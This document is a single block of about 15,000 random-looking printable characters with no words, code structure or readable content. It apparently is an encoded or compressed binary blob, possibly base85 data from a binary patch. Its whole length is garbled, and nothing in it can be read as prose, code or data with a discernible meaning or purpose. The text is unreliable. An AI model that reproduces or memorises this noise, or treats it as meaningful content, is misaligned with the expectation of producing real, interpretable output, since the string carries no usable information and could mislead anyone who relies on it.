zvgQ7bY$iBEbQUf!jf^h#ihe_f6jGWqa5WbN14USeN-7ME@EXr zS@#E6xn7vJSeY)$H>}JOAb1@O#L zlzQexhV;1uEB_PbJXW%VsbJ-6VP>-Orzp!=*((bEjd?uwh=PBG9gn|6`H_`BM5%m0 z$owV>{_Sc!z7eGzE5C{|fR$fF8Ntd9QKqo+yC@4-sh?%8e)zXj@i;!qC~vXSL6mP; z=`Tt)zC?zjeU@<@%}PH}@NW>}acY)f&S9maC?i=pO_Xa{sVB;vth5sa|MnLieX~sE zjjXg3WhX1$MX7WUSm0=rWn4$I(o2*Mth5&8Y*u=TGLn^6qFl#H4^ft~a*8OcS?Mjx zC#^0El6`1EM^#a3v$9*RS|_qnMVQlB87NABR?ZRSGFHwOrHqvvQLbZUfGD@K zGC|VsXJwKo&$2R6ly$6JA<8GLY!l^sR&JK8zgYQ9m>P!#bSx0&XjTpura3DWqI6{C zW>GF+Wwt0|S(zoujjYTOWf?1TMR|dhTSVE+$~;kiVdYj)YSa!#al0rDS-DM=Gg+B0 z%K5A;5M?YYcZhN$D+@(g#>!MtRu+I;Rattf0L}|~;I#JGH zczwurKYl}|<4&B|6$Y91N(`8rXWurf`QF04!!We6+R zi!y`B0SFb;3S>AW92X-WR18D{Do`XXQ0f zu4Ls6QRcJqx+ssZGDVa(Sh-S^ZLC}+${(!UC`zrP!am<1%89JZ5Tz3 z%B`%d7Uf}9o)_g!R$dTgJ1ezC`JI(+q8xNg*ypyQ9LGwbC>>a7Bual)28%L`mE%R3 z%*r59=CRU6l>1pJ7v*JE+K94=m3&ctX5}zZDjyq;qN^zNSUE+MR;(0=(u>B7pf zqFlhr08z%U(ovM_SSb}{F)J-Zd4iQ(QQl_dC{ebv(p!{$tehswVaJD~7%56~R!$P7 zJ1ZB7lE=z1qD)|=zbJE9IZKrLSQ#zKORO{(WfLoxit;~J>WH#m!?4f2L^+m~4x+SW zrAUJ49a$MA$_1=kBg$A-hKMqQm2y#*vQi?-e^{9+$_K1mBFYb}l!=mk zVn9c+DD_ymR+P4^Tqa6?R>q4moRuO`u4ZM5C<|H16XkJMCWx}0m0_anVC4!?{$(X! zlp~u2bX+b?>cvdEhGMkl=qO4@)YEjm(QXtBwtV|MR4=cBdQnhJ7 z$8Dn2VdWN4PGV)AD0r7O9&@tH`PHA5xuOhZWxSk~V_CUel&e{pEXrI~#)-0wl^dn< z3#`l(WeY1ei1J@nW{9%i$pIY~igE-i^F=w4mFl9L#mfGooXbieJsjaES2)TXN4eKg zo^_PB9pwv0+0DuU(4Xu8j~dPBfACK)s1%gu7EcI;V1H2xSgCH5@}aC8D2j2_6vem> zA_Wb{aMqn!CjDeqmWy&aD|d;~la*>x=X_SGiZYy)736Bzw|~2UkHuMd*PKz#0(GHL z+8aicRz_N8m{SaMuTk2xVQHyR#C4A-#Zm>9Z(QrUNkd8OC(b zDpdGDV6Hce3Ac(c(;Y?>sXWUtqRckRsSp!f0w15l2hD1$Rw%)tl?Oq&$+%k4P@@Xf zL04tNh>~rTRxJ^LqmrZi4QiNfn13DRA4l2eD1lQs%P7*HKaES2y+)B9?lFome>ut@ zMrno1{5E|21|QkDGikjpV1>p-6IK*eXm3o4DzrK?qY9Pov1J_HdNmj?zaIv+3)KV*1ln z6r7Hu;JaoHC*QDmgu3?sX@lTn1}Vif6fXGhu3QK~sgRY%zkJ=JSb#bE|I$~lg5 zwxi@Y$^fIBV$RcTCS8=94MVG30__V#F_#Ie;96{gkAqDe+Vk*@RcPJ+2Q?}{rL&+7 z*7-21(30XRB15x5`?)x(v_j}UrC^;9HQSfR@Oe=G3S?4HkI?8%SdCMrW7N0oE7DxHiQMMXI`g5J5Ommd!j&i-DEOC^( z9A&Aa+-(%uKOZ^DhmP`rqrC4ZYaQh^M|s0hUU!t29R(jR^}4_0DDOB5KE`X;21mKp zQLc8BYaHccN5QMD&f4rKPdmz!j`EbFEOwMdj)KoQD7_tgLB|^Std&=cB9ET08bw?i z9pzo4i0eJ0&|?976Wr@4_ZUU4nahkKuE!kZ5u=FfQKN|KKaTROQN;C}QN*>{QJy!7 zxLy#&Oh;{_v^LLjyBS3uPum(rm_kv^lr=JnJl7g*6sdE(QKZfwqX^T*D8iH*rH$z! zUh`<(>G2f43G$61bq+I%)ahyzVesNWb%ZG}iexnu#f>6k*OZiZCTck#RK>#f)NzQKZku8AbYh zj!}f^Y!qS2j3VR0(dcmvHH!4Po>8RFeT^c_8AcJN*eEitlSMJ(y2L2b=LSZRKA&wA zVLBN_n6XBYakVmvtXG~;zMK7ZWgO|bZ zTsG$pzOp4n)~kt8WW6pliuCyiqe!277)2O-vJ_^SE7EYI$haDdV#am8QKZjD8b!v{ z(~ zD8ig>6k$dgMaI?CC^D{#jba|Yf{U`a&!UWRl+lhd%~39Pl(9xJ0}Vzw$~8uj^dXK? zZWO6g;wV#%B6Titlrp18onlA1)+kcvGDjKjC`FDk#ZmGcWr9(pKf@g53ZqDW@*U-J zqez_*j&hYzq|Q)BnP?QLGu%CWu3O=0+@Y8(5m?uP5 zY1NW1>(vd@9!G!&zUM+$Ey|h$$^q~}3RSKJ-_o}F0Lx*la0 zF)Hgxa+$rc?EWpgmq^yz>>@^GJ*Bdqzwy{7tm_AM5u>u6cCzl4tm^nA6b@ok)-x*W zf)xdqT2~Wx5u>u6Rav;_?~tsX>>@^GJ*ToZj;hnqy2h}J7?t%Om4$P7pJXjy7cna9 zd6jiu&uj0nu2t+JMrFOAvT$72OV+FGB1UDcR#_WsS6O6T-?NJtmGz>NHC?g}=BKB` zsH~TqEbD5^E@D*H%jAk)H)cuJ1?(b5Wxb-Z>My&EBwyGv-Vvx^v&wN_=#_+~~W>)OCBVpP`a#xA8>@^Gz2#(ue@`0+dLg@rQCaJqEbF?0UBsxYx5b6k@iC>6jO#9T5u>s;hzlQ6I!zng z-nw347cna99dVhgzh!T1XBROl>s@h~EbFSw&t!;ES?`ImSJ)#V%r07XI5+_>9P8S=UYMB1UE5zqi@vQMg|FBs`5|_!c zuJ_nQjLO<1E;Ft`_QtR5B1UCx7MIDgt|RGLWDpRevOX4<$;y(fGuTCp%Gx3>lVx2) z*+q=X`h;B3bNNr1!|CiIMrCbPS$Hm6*GhH~qq07Avi3^WTkIl6WqsykS=SHjB1UC> z?quzetQ!0}fEbmv&B?N^rtBg{Wqsjf{Uuqw*+q=X`qIg=t`Y1aMrD2FWc?vo*RhKj zm9^c;vaaRqB1UC>EiSVUf0L}&*hP%W+9597hs|3~`Ovz)VHYtf>l<;ItluT8D*i(O z9K@)sZ^eaKYi{}ne&KQzVuPSDyNFR)--!!Ryl(WD^Q$|%h*4QP#f4do?(S62x<;{! z7?t(CxJ*_*$(qeBVpP@-;=-&sKliO>U5~Si7?t%SxoTk$9QZn=uVj75E@D*HPbzC= zj{}~zuHV^3jLQ12lhs|a>d-6ZARtC%{j9QTytb*Pb)Cj8VpP`uoUC4wbrHLWQCYiG z){y(|{>{3sViz$g>lY`hr(`W<7cna9SC!TLsF}}L*Q@LzMrG}GvU*6?SL`B2W$jT} z-z|8oyLIh{Zz01$jLQ1W$?7dxP1r?@%KF{OvabH@B1UEX;birZtTJ{Hqq6>VvaIWN zb`hhp{vucO@vE+6t!5W7Dr>LG!s~{0ea)=9EnVHYtfD_dNcwPMq6o2=_gb`hhpDvJwD zbe-=aSpmN{NsP*>A}({Cx32o^B1UEHN3O##2o8Mx)mgGSvWpm%RaIqm`1}6Ltt*#Z z#Hg%lev)++yNFR))m7F_3(r2tx)!pF7?riZlT}T!o?sU-DyxRd8o!|Kjn=h+ zUBsxY1Dvd?lJyO{h*4PwI$72g;6F>kL5#{e$jRC*&m8Koix`!Ke@kg!-0}Dm0iTBtV31SAq)4u zYF&4+ix`!4n3HvmWIf9+VpLXbm4%OA*7ZKSh*4RGJ6UH-)(`9=Mr9r0WLZ}g{HH=V zh*4QbI$1fAbqu?RQCW4IEbHpPE@D*HQRIrA%L6295W9#`S#_N(>l)22VpLW=apAbn zc(Ky7ke>u7P|J{(Z{k@KzVZgvr)vW_7a?n89F`rfk3t?Lv3cT(E( zYsV3lZnUoV*hP%Ws!y&XIjhE3BN|%QPIeKavKpwYrT^SsWL=f;mJm3IQCY{43)c(B zRej&!Hr7>_UBsxY<5kv>lV03pU8k^%7?ssfWi9*nkN;X%KXwtLvKpzZQ$Ihqk97@W z7cna91aaZGac|r#`)~@oh*4RM#bx$}buC~QF)Hgsaz*!sbv?{3VpLWWm4$o5y53+H zF)HgMaz*!sb$!7uVpLXBl{N3#zn-_QKiNf$$~u``(Y;|^hv3aqa1f)inyIV>U0ctw zuBPlFMrAcuS-3Z>t1G*RQCTfi*10XVt+B2l>>@^GwIr8$j*b8But4_4cyl7!eLb5(#7cnZU zt;)JC`=$QY^((uGQCaQ8g}VTs1KccGHSmTeIEYbM?Zt)X*TzmiU1D7)vx^v&b*i|q zDrU`=tiJ3bMrCynm&vlO5_S=zvQ871$(kiuv)Dz9$~s+Km{tC2`yJNxFuRCRS!amL zWX+MRci2UY$~seAnAPd8Uh}N$XLb>zvd$8h$(k!!HSxweIEYbM9mR!NXY4E9Xk9JY zMU2YIAy@P{+bxnckX^*6tWGKm&oApLXBROlt24RqdWgq>e{ShFPqJ=f7cnZUi^_U& z&l@jU*R$**MrCys7iQr;yj8M3VHYtftDCsYKD4gA>>@^Gbr+Y(x?QsB=Aae?#Hg$u z;=-(ly1#jhb)Aueo**DbW%U#nw&S>NldMZ}P=lWcLq=uw5|I!M&Msn9)*zMD=*Fj}Sl1iuB1UDM>tsD6S>LgX7?m~H$+E8fJL3$& zUj{`+Wt~T^=svtjvYN7s7?pKCxy*Y+_`Z#G^q3<^s8{#a z)-{J+#Hg%`#D(J?H+>@^GT`Vr#8yEa~(?aX|fL+9>tV_gYvX)EMZgvr) zvWAF@_WZurkG8JEyI`dtAVy_fDlTltaXlef?b$_)%E}cNX5r(PbzR6VVpP^;;xbu} zOV%WI5u>v5#D!Vq->tdcy6$8bF)C}QxG)Q^8~01rYIYH$vhu}+Sx3CRd6jj2#x7!1 zR)M%o)(Xk`n_a}HtU_^N*6#He9B*Cq@P|d%GcN18 zgk8j_tP$ceSt}*$3U(2rvWmoI#${cL*+q=X8YwQ5^^jz(W*0FkYm~UmxUB0lb`hhp zip6EJ9+a%V*+q=XDiN0%mvz;{A6kNg7?m|zT-c85^{`}}&Msn9R;jqmxUB0Eb`hhp z#)!*gt&*%O*hP%W8Y?a{F6&y%E@D(xnYc{WI>}niE@D(xxwt56$)jIe*B9&}MrBoq z%VfPNS(Wg|2;d+_WsMUTX3e<$w)?EB5xa;{S>wfpRdK!6OI8nd5u>suhzqmuIkt6; zWEU|iYofSJ)?1Qw6T65}S(l3ovyOOteRb=4gk8j_tV!ZBS)WMOMs^XSvL=fQv+z1^ zUAx&ujLNz~TqbLaWF3w_&H@K9D(gydVHUprvaSy7B1UChB`&Or>-DK*UCb_GRMr%6 zVHQ3=w63ezMU2Y2T3jY;t7P5HE@D*HHR8f7e12$MYuH7M%DPruChI!M+QBYjRMu2+ zVb*RqzpSfjPplLK#Hg%k;=*>E!)cOrBD;uDS=WgRv+(?~uHNh-MrBm}=9b`hhpW{3;3@cgo__t-^@%DPcpCTodg?P3=( zDr=^=%z9bZVfaI4a1f)iZW0%^<9gjCS?$X5o8Z)-{}6#Hg(K;xbtuNY-?A z5u>sehzqk`|Mi5y*0qvd#Hg&>#bvVIm#nwgMU2W?C@#!8=;v=;jUE@D*H-QqG?uS?d4>>@^GEfp7L;XbskJ?tVz zW!)n#ll8J>)$WTLJnkZ+vX+UV+O4dc}B1UB`7nfNt>$;L% z#Hg(M$Q6Cx<|WBm!Y*P|)(Vw{kIUAzhF!#{toy}f#`TV5eZwwdRMtvy;kfWzwyx^^ zuu>2Zqp}_l7q;UZzAafz*+q=XdQe=Lh3B$$^=B6`D(fL~nfI3Q=f5^c));mXqq0`1 ztkN%DZD?J$vWpm%^{}|ixUQ9~XV^uI%6ddxI4*o2z`8cGix`#lsJKkl)spoayNFR) zkBJMj@O=R5I=nwt3IbwO*5l-g&fztZ)s|hvsH`VcR{fb{H(S?v>>@^GJt;2i3+|1N zC2Ksph*4QjiObBPbE!>1*yExU+OSjiO{tS2R_ zf?dR@tkvQ&b7)<+vWpm%^&+{VbNG~GJ;5$wRMtx>3+K?fK4cd$D(hu&nQ<+atljJ) zMrFMsE;EPLb=W|x6a>VmtXIW_?YLfxB&!X(h*4Q<#AW8tx(2a}7?t%JxuSD;r(~6} zix`!)R%PKFTGu>w5u>tR7nd2=8p(QsUBsxYH^hbG!u!mvYZJSOQCV+_%VfPGS%0vL z7?rh7T$okVmthdM&ox@ip>r8eLqq5ekEc~|s>&jynF)HhAabaI@ zZ)}vTY3w3KWo-}_j%&u_d26j}1-pn*S?`F;WW6g{>)1t%%6eB^nAPFhCqJ{UAK68W z%6gAn(K&oivJN^2^MimGm9>@^GeWbF^SUK%*>w1P=#Hg%I9C z!a20AE7(Ph%KDUC(K&onvhHLTF)Hgbm4$O?T`#hW7?t(8Gp_$g);4w#qq4TCtZfh1 zxZS$4&JAat7?t&fll81*9mg(WRMwX&t9<^pTH~5%RTe8Nnix`#lgShZI zkMC7l*IafHqq2S!m&xiTSr4&`7?t&txG-zmw14+n*Lrplqq6=hE|b+(vUakI7?t(2 zxXfdvbyYbJE5YB-MMh=)Ph8lJb66-@_1Q&?%GxC^n#0>Wj>@^G{X#CYH}ExV zBgq=VE@D*HuPO_FhR(Vsv5Od$wcE)WELro}MU2YYqq6eGp4!#Ao@N&@D(g3LMIV=s zm#mN2MU2Y&U1j0@8`kv;yNFR)e>ho#B${N4s*M8R3oL$7ItiPPB zE|S%cUBsxYy(+8zo|1Cw8p$qVRMy{4R=H$d&n{wA);^W>;$caf zSYus>To|r0F)C|+avjN=0QX@-$!f(eVpLWQmGxwUscWrk0K14$SqC^-=So&FyNFR) z2db=-#=Y{6btzs83Dyyc->YX$7RO?#LE@D(xEhlTBWPQgjVpP__ zDr@4zef_Pg`bFV_5TmjVak6qGs|mY^QCWwoEZpRz%F7`R&A9v z@to?-tm`^<5u>sWCs#e*hnpTM__U>DEoT=oD(eW9RrBA9$E@o$b`hhpj#ODMoqO|T zmr2%F>>@^G)lpf8-*e#=)>Zl9u;aw2tfR;ky&fJdS&i65jLNF3vhaFnU0v8kjLNF# zWc8D*%h*MX$~szQ;oh*WYuH7M$~wl$I#aTivWpm%b*#$5>!EeM#4ch~R(&U{M6y0* z7cnZUfy%<`p>^$J7cna9IC4d=hs`AG=u5&?CPrl)ud?uZXkBNpix`#F(8(GiSr@U3 z7?ssXW#RSEx~^asF)Hf>C+j%LTFfqDR90h^h1WytdY)axsH_v6taBvmV|EdvvYMzY zydGNDpX?$=Wu4??b(X9;L&EhUMrAcsS-9t|t3A7jQCTNDS!I%SF1v_PSEm^m*ix`#FLS^Cg(7K*v7cnZUrOLwV;ZVtXpIyYLtX3)uuZPyP zn_a}Htk&d;UJvU@R_#l};S!^=+NdnN9$Hr$b`hhpPI0pOO4dMj5u>u&sw~_a)-{%0 z#Hg%xPSzQcHJ4q)sI2xX3$KUP^$5F&QCX)tS;dm|HoJ&XSshdsUJtG7Cw38|vQ8sc z^m=%*WF43rt`{*X>vWZc*F)<%nO(%FtTUXfOC+l|yNFR)XR0i`9$Hs1yNFR)XE|97 zBx@GCh*4P`RTf?kt?NN{5u>tloUF4Y>rHkMqp~`wEW93C*G_g3qp~_XS)C-S`eosI z5u>uYs4U#`*43C@#Hg&UPS#k->dG!+R8}{Yh1WytDr6TiDyuuWqSwP#l64)sh*4QR zR2E(jt?OQP5u>ttsw})7=1JD8>>@^G^-@`QJ+!W`*+q=X>MgDS4t($HSjnoAhguL2 zqq6#l3%;QD53TDsb`hhp`icvyV%7l3I*VPzsH}eC!Yq9M(7G;V7cnZUzqm|RN6EU9 zUBsxY0ph|e{I@pix`SQBsH}nFGFhdP^)$PPQCVk;3$u=Z_YbXW6T65}S?7?;To3X6 z!xoaYhh4;|tU)RZ-#@gjLx*CogMb*7b*__@D_JesMU2WCtg`U^L+d)5UBsxY^T-u_ zTs}&&#>@^G6{;+JthBDP*+q=X8s=o3C0S$HMU2WC zuCnm?p>@q>7cnYpgp)N|vL0d=F)FJ_W#RKf>)OCBVpP^haz*!HbIJONUBsxYQ7Q|c zA6nM|h2eS;qq2&ftV<>9Bz6&_vPx7IK0maszU(4KWsP>S>PS`zyNFR)r78=bA6nN; zb`hhp#yDBMBuksw{kdXkF{rMU2WSbFw-})=qX2qq53X7VdfLsyZxOFJe?y zg_BhzSq<4mjLI6Pvhew#b#-GGF)C|3xuVYxn@Cn6yNFR)6I2#HKeVoC>>@^GO;lO< z{P04_x`$oFsI1FX7Ct|;uGiQ_jLMosuITmf2+7*PE@D*HWR->2L+h$EJX|kgRMr(v zRu9QKhF!#{tSeO(?hWfYi(SO1tgD=?_L4P(UBsxYDJl!Eht@TTUBsxYtDUUjk~N=Q z#Hg%mR2E(jt?Oxa5u>uMC0F!%*jTbYViz$gYpTk^>!Ef1$}VD5)-)&Ue95XcB3xx+ zRMvGW3$KUP)rwujsI2RqtRp4sY<3Z&vZkvnydGLtDZ7YKSvNRYJtgZVb`hhpW~eN@ z9$MEbb`hhpZgjFvm8=cyB1UD+R9U#^t?LJN5u>thaS zyNFR)Hpeda;Wbl{H&s;q}nEMzD(*l{H6Y;q~wW$-16h#Hg&fDhscN)^$I- zh*4R$kSlsUJY2HYv5Od$HBV*X_0YP$VHYtf>sBYLyJS@w8Lk&GD(g0tg?q!gj$;=w zDr>%z)lRZHv5Od$wLoRz_0YO5Wfw6j>vkt=m}E_27cnYpp~}MRp>^HCE@D*H9ps8$ z4^NP+=h#Jz%37qd@Oo%no7qK-%DU6ZI#058vx^v&wOD20_0YO%j|x|r7?pLGlT}x; z+Omrnm9<1=;q}nE2C<76m36n1)km_%u!|U#wNz!{_0YQJvWpm%b&r#Ex@0}ZE@D*H zGL?mU-n!mp7cna9UMFjmWc|o4VpP_0m4(+s>pHMFTrXl&)_vrPUJsi}Rx@@Hqq0`0 zEW93CS6_A!qq6Q-S$I9XSh7a4ix`!)Qf1-w(7JA77cna90diFfhaKSWkGe>Hci$>@ z5u>smR9Vx9OwY2e4eTODWj*9%jghP$*+q=XTBWk?I=6ET>pGw$>^Lzh>tS&rf$vq0 zmaL}iB1UCBA};uXe*Vk4`ml=_mG!8&Ox85X8p$qVRMunS!mK%KpB-ggH?oTumG!u| zOxDGcwUS-LsH`W%g;|Y0AM&hqtz#E4D(gvcnXIvr^&Pv2QCUxk3$rfRGVw3#sx}%c z1pzTC>uGWw7BC+ix?8o@4NRMvAU3xAf= zx@NG87?t%OapBN#9}bbMmFyx$Wj!x0_=48Uy4JCa7?t&cxJ*{LWPQgjVpP^@abXs& zmvvPu#Y#ayjLLeET+#I^k*vn-B1UDsq_beXtg9!xh*4QDJ6TgDYXrN9QCY93EL<<^ zn!zq&RMxBF!g1qzT_Ra4*+q=XS|cv_g4WBr*0GBimGzpqOjem>ea9|hRMuK?VHU2J zbyXXKm4bj6mGwHgqU%*GS&i96jLLdLXTf?|S5I~kqq5#~vaXe^5$qyHWvx?LxL(#Z zgI&a^thdM&ef+vivR1N-7?rhNW#QwOb-l$dVpP`KPS$wI`kr0HsH_bt3m?C%tH#)H zy@*j+?}!Tt+=oSy)s$VtsH}Iz1z*tPmv!}J7cna9J#m?=DUwypE@D*HMsZ;lK7Lu( zEOrs2vfdY$$;y+gRqP^0Wqlwn%)-Yn>w1S>#Hg$f#bvT4NY;PZMU2Y&NL-kO=a+TW zEW=7cK#a=TM6T%hHB7Qvu!|U#wOMDu`DI;avx^v&^|6z6g=Cenix`!)MP=dnWnH(j zix`#liMVjwxDWFs>nU~-qq4S&3%;QBvaU_+B1UC>DlU_Cxn%vuE@D*HXX3&vTrcZ7 zq8uv)0Wm7;b8uc7MIDIC|Uooix`!)LtL1J>t$WX zR$!$dAVy_>@^GeXFxzy{s#bUBsxY@0_eFCF@#t5u>tpsw`YD>$;a+ z#Hg(Aovd8RTFWkCRMrnF>jD^;b?smmF)HgvCu^K!RUQ}4JTWTkCzXZcvaW{gB1UEX z*U2iCtS;;#MrHl1vUWXrbqnh%U>7ke>wiwxb&@rWUBsxYT{`QoioVvhoL$7ItY4h0 zOC@V9yNFR)zp5-;FYDUDE@D*HZYQfkvMP@c*NYgHwMS*)dRbRPb`hhpesi)4C94a& zh*4R;t1KLsbrrCS7?t&hlQmhgrm>3{mG!5}!f{#Ga&{4;vi@?iMoQLNb`hhp_Npx0 zht~BiyNFR)e>+)MOIEcB;d&9Hvi9jL*oW4261#{|S^qd$1(MZ=UBsxYe^nN)mvt4h zix`y^RK}nGIxHLjy*8gDSvRqZ7?qVpt^>dYq4YZmt!ov#h*4RU$Q6A)KUv=U+Q2Si zR93di!oRy@UEi>a7?oAo$r>kF|FDY~l~qM$?f&wi9P2uAVmL{}sI2`|7XFQl8)Xh# zv5Od$RaIqeA2hs|b)Ca5VpLW&Cu^o;m9dK$l~rA3)tRv6Ve4AJE@D*H{!Z2nlJz{h zh*4QJoGk15m|euEtOJ~^8IrY|UBsxY1D!1EI_&ary@*j+2dOOjz50^XhF!#{tePqd zU+c{mS6_A!qq1s|%bZ^~)$IOlb#WE2ix`!4u*&Lk@7PbR>sodZqp}Whvi6s(CF~+b zWgV)rE+0{Px^=B)7cna9FmfFkPH}+uIvybB*C*^EMrGAjS$OTWu0PpDjLJHkT;{rg z=T{BMI$~1T1!7dz5h|-`tLLw!hO@NYaF|XQCanztUG0IT+1$ERMycd>z9j1$QJ}>SKjXf4QCW@2)r`@T&%b}G&H9a9$mpyS$+aK5Uf#a(UF+(7MJOYq zT}_m$-V6Wv-nt6eg^YHcM6PhAgW$&Re*Vk4u4Wf9+SQa?hjI_sRN1$|x^80^GTL=A zxy*WfaAliT*7Yj8kkPJYYtw5tWV zOb?GZ!g_j8dq7~=z>zdW~hdIxW@C26urEnw5%{URZGd3JRqoh5mz2e zX@YA^v_X140(yn#2dvt#ym98tzyZTBVdCM5VM= zB2j{L4-gtrc?EhzE-oz{lUq2kh=-3k!-~h1j|d6+wy2mNSYXqQ83*PO!;15Umj}G~ zWqC#Ag-{~DkoIgYY_QOr&`#0ZRz87C%lF!Al1+2Is+?cU56IjMCxL2*s~OJ<11Ru0 zVHDWW+5bc>`Q1AqvsTiIDM^P z7Gj_)%WQ*Husttj?AOexbRZySvp+NqT!zP2^&0%5H_@RSHX8xrtRdrDoaEBs*DX2 zA;W#l#Fk-Yc_j%O+IPuDi%$m`UcC$}Ei1_zonPpgmWsUL@y8LW1#jj0bijS%z;}M* z`ml=OW8x2874e$GDqLG$e(aHFSVckknAkG7#VefR6;APr3a5C5Q@o%=KS~tFzAu1B zI@O!PxKKQSUxM+8RUZ2u)Ew@}!*d+=OD~xd~l{{Nxt>Ngc$+DSPe>?&he6*M=q*5aN6E9lxGB-)Uwv}<*T13+-k0)cag#5Ln*3SZ zMlh0L-Z=U*wL=8SiS)wIu@p=mL zi^h0k%BaQb!8ee7J;S#sz56b2sQ;`+-Isv6_tKF+!e0n=Um?`Jg=loG{G-5uxAK-_ zm%k#;enQ2t$=5+znO6Qj!iCM-LDYSb^p#dkfKuwD#8GCSN&j@>j&gN~jn%c`JrZ-ir7*59pA1)rj<{mj5m(2KxGHzVZNM3E zRm8mwI46GG+d#A8=W)K=7Dz3Pz1b=&W-%YXUC6w z8)$a?JkE~WLbIb^aYbgwX`tD0R5LqHLpVE*EVJXZ(Cj!W@;Gfy1I>=3hTZYuGzVVZ z-vX)S&KV!}#?_%St{C>k)p2HA6=`n+bY%2!cl=>jd@ax!pB#3_*Mhk|ox9{~!r5`p zx3Ev12Am&1?rorn@bfrDZc8{v>NSgOW$1pqA)KMODiaiM;Q5Kmc6#D1&>i=53n$0b zp);-+_Qln)E3V2taT{n}yqg|3mD51;;;3O?d^qhJFYj-`dGX>t9p}Xh`*fNYFO3uC zG|;^0ccUWv#c7~X^l;r$)-D&ap+|Z8a>IIgf({o&{oF%%zwSIm z5I%M~Nq^!GsA5QHa5lXdVjI&Y_#50uD{;h@(kAF77C!z+AclknxU3~DLqY>M{1Xlr zDu07}>6Bi@FKsf8@`O3Zkfil1Pnz9?1{_JEC7}g8NlTK@Kq=nU!m;>^!P7YXj<-yh zU&nJJAtIpxE{6#QzYe4DN5dfe4LELpE!rsFbnqlvVhxe|sQ4uSDtgvH(Qo&I;1F`( zlr3ZLnPRO#-?35{`?k#7x@mB@#WQxzD}aBA!@JDnrb|Z4sG&A%i54!4Mcnsd;7JZX^LY}!(iL*+|^K#)|2jH#YD28e|yho+g;sUsd3U0HClEnq^ zp1PyKlMP23>uBW_ZoTpfw_Z8^OJA&Bc}1ii++*jtiz;yC@V2~)d^}+b#{@XVx$v)8 z;lDlxc+c1{e1{aaL=gUi*BH1%4HwRQTMDy6-;WzZ_mvIHFN53J8;%=20d8t&$Tt%< z#I`*7jvH~-=$^vFI|A940mvowU47;jLN1fg=(qA2;J2Daua$SF*J;|kMpHGMEZtkv z<~7R6>CLpQNoL;ENp923c3F*tJ0!VGT8zuV)(ZC+8Ui-QL`KckAnE=my7lz zp;UfJwEGLF+kyNwG~zE~?-26Wh_w3)sQVWDH8kQc zqwgN_*NHL7g(5c-C0B|~ zH`RE}k!GJgykmy%-tZOBfUiX4CKg|TXmiX?cLk-nYWSJtLUK(|m&B4t86kW{V%G#u zkr?4G61ggPOGMiJ1@tAsTSFuMGLfr-w??GhUqD|Hyfrl9FB7{Wcf(L7r^_iQdV$*cnNue96s@nojK@Fbcs&RyW5Y4UR=_S93hJ z#WBgC`T9j7EYJPmr-a&w{{wv}VUwhiIL z%CK!iY}mFTbjYx6Lu}Z#A#}*FZ9{C>wjp%Lux*1LcI1{zJ@9CQw%B_zwIia(406wA z%wTnGfSaiD;AiV1_jGEbr#-O%-$VgY`qEU|!T zPbdIy=9qg^6G}vhq$2h%)}$g4BB6-f(v?ucwkH-a%N1^Kz68mBko#t14~`MQELTzi z)1KG^bDwSE7z9Wz!S75amoPv=3Ay($p@MBsEWq~yB^EI4z5;OjlfB>9S3v{566%&= zUkMHPO5{iHE%uerKynE)RNt0}-lgo_RCvpk+oO(D$vUD3WR}_%?R)$mp4k7?Ic$ zxo8Ip=vB1I9ClU&3Qz9Q=Ge&3X6Ai0DI z@pMD|oPc+?hCdaMVvA@XsTX$n6MA6*UkP|>68Q-P-(4f?j z4(|@7yV_Gtga*95i2l%rcOVMzmWcdxh_^ztJ+VNliHQ7^N%B0%Phxoc5dMgV*)!f= zsGkB!QN;8#MG<(xl(;!*P3#YV_y>d=F!g{m;q6O^nC>R+F!{lkR6R*KpfE=eUtc0W z5aFBIXmgT1#W>Jznv?9(JwdI3$!_}RiATF>PO?k)68zHcD}Xo8~0DbT7d#?Y;t$pB?heezZBsZu;kmkNgCZ_Y8>sBvMj*%I@>e z9;H}-7~vZPBPqraBT^KR-g;((s|eyPgD1TFz?5%J=%LFJDT<^TP#9x~6h)-Bz5#_* z1o4%@*Uu?WkZ5~i0n<@WCn&(QCl-)CCRGr?TOxWD@>PhoCl)ZBOe$d76AMTmlPU<{ zE1`Zu&9}2OkX*v_)6)y}vu@r~UjNKnayQZpB|72WenbKPP>@JDlqir~LOPn*4Iy-q z@K$znBbjpRCdY=i$IH+3=_!Th=o&lW6h2o<~TVw(&iYkaHKuHK(S`Wj&qqD9Bp*0SUL*$ zqND9j0hljyd%bV2rOh#hlPT@K;7Do54)c}hjkY<)a559Uv1Z4Pvz2I8jgFP)I?)|( zcM9O%OmwS8$BMO6x#R6l0ogj0P667X$>F#^rPVR>tXjespSlFh zocyq=ZX>=nll>0hl)xQp ze%{76@3zsghVyEHc<1BoP66Dp$=T6H$BMP1fG<1R?i8T?o*a&wRazZ0Ppc(-@u^GD ze&?UJ@y&aw`5~m(Q$2YWVgX+`o)4zF(|y{~rZw(XjgB>(cUwE|j<-7n!u_5YPW#=o zI%b~t)bXiH(0(@o@!qROZ#teWNp9?2wB0E{J2uI!8Xapmuc@-s|<9sKY zRik6&$xL*|+noY1*Y?NdeX|{Db<9{jrQZRZ5-_ikg!qc-R>zFxQ~DjiDS^|Qssp;& zv15Qn;zMu=rwHzMdBPO;t47C))l<3S?M?yQ*U8z@M#qY^qd>gp@ph*GZSCZ6JS(Kt zF=KT__~I4dlnD2(@82=PSN^asxY4nO^J)QKIGq_u1;Txsludgw$r{dU>g<#Sc*iD% zhx<8Ix*~i-SAa8lFz@nwDejK8ImU3-6TPu!#}0Fz=#92H#&E_Hy|HG;j`N*pR*jAo zOQ&+j+noZm$IXMaXR_tDWF$Rzv_RaA*|^6|bvGM#p=ph~=>#y1jy0UpWOuyXDG=^) zQ{M@v4Qg5)GtX-3_|zqEADjA4dZf*p9chny!%3IYjve=LVs50(F@`gm=#4cycG{(h z!MKG@qhsaS7Qi>;lm%!P^3Uu0pTd|%Z#M2>1NgF|?M?yO#z}6~=vc!kO`VNrkg4tz z2=};Yj(1(RI%b}ATR!f009`_U(}(%>BYNiDX0P4;vKX&D((JXvODO)G30`}o*=vVa zL8Pk0Ya;%&RP01Pip2W-2yK+?mwbU+^T zy!NCAMVX$|c6|Bl-TM-6+Y|CF;9mgS?k$jXnU)U7CCzJ(Toe8AsqN9X4}AV;dqRG~ zi*#84+wLs@FFewm{I=a&0G{BdED&w?7Jwe4JcFa{-U5)2vOu)mTOjepmu!Nh*Dx~6 z7Vs@2^gzziq#oGw)K>u~A$18Hr4YUn3P|cjnzK=UiBs&Erk#hB1)vMkp40<-zWN4% 